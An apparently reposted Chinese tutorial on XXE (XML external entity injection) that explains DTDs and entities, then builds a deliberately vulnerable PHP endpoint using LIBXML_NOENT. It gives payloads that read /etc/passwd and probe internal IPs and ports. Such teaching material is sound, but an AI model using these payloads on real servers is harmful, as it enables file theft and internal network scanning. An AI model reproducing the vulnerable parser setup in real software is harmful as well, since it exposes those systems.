当前位置:首页 > 编程笔记 > 正文
已解决

XXE XML外部实体注入

来自网友在路上 190890提问 提问时间:2023-11-11 23:21:02阅读次数: 90

最佳答案 问答题库908位专家为你答疑解惑

XXE 外部实体注入

一, 简介

XXE(XML External Entity Injection)是一种 XML 注入攻击,它利用了 XML 解析器在处理 XML 文档时存在的漏洞。
攻击者通过在 XML 文档中插入外部实体的引用,可以引导 XML 解析器读取攻击者控制的外部文件,进而获取敏感信息或执行恶意代码。

二, XML DTD (文档类型定义)

XML DTD(文档类型定义)是一种定义XML文档结构的规范,它为XML文档提供了一种语法规则,规定了文档中所使用的元素、实体、元素的属性、元素与实体之间的关系。

xml
<!DOCTYPE note [  <!ELEMENT note (to,from,heading)>  <!ELEMENT to (#PCDATA)>  <!ELEMENT from (#PCDATA)>  <!ELEMENT heading (#PCDATA)>  
]>  
<note>  <to>Tove</to>  <from>Jani</from>  <heading>Reminder</heading>  
</note>

在XML文档中,使用DOCTYPE声明来引入DTD。DTD可以分为外部DTD和内部DTD两种类型。
内部DTD在XML文件的文件序言区域中定义。
外部DTD是一个独立的文件,需要用SYSTEM标签指定文件路径。

1. 内部实体引用

在 xml 文件内部定义实体(变量), 通过&引用.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [   <!ENTITY myEntity 'This is my entity'>
]>  
<note>&myEntity;</note>  

在这个例子中,使用<!ENTITY>声明定义了一个名为myEntity的实体,其值为字符串'This is my entity'。然后在XML文档中,通过在需要使用实体的地方添加&myEntity;来引用该实体。

2. 外部实体引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
3. 外部引用

从外部.dtd文件中加载实体.

Note.dtd 文件:

<!DOCTYPE note [  <!ENTITY myEntity 'This is my entity'>  
]>

xml 文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "Note.dtd">  
<note>&myEntity;</note>  

三, XXE 实验

编写一个接受xml数据的api: http://192.168.112.200/security/xxe.php

<?php
libxml_use_internal_errors(true); // 开启错误捕获
$xml = file_get_contents("php://input"); // 获取post提交的xml字符串
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); // 解析xml字符串if ($data === false) {echo "Failed loading XML\n";foreach(libxml_get_errors() as $error) {echo "\t", $error->message;}
} else {echo $data; // 输出解析后的内容
}
?>

前端使用post请求提交一段xml字符串:

1. 读取服务器的敏感文件 /etc/passwd 文件的内容.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
2. 探测服务器内网的ip和端口.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "http://192.168.112.202:80">
]>
<note>&file;</note>
查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"XXE XML外部实体注入":http://eshow365.cn/6-38005-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!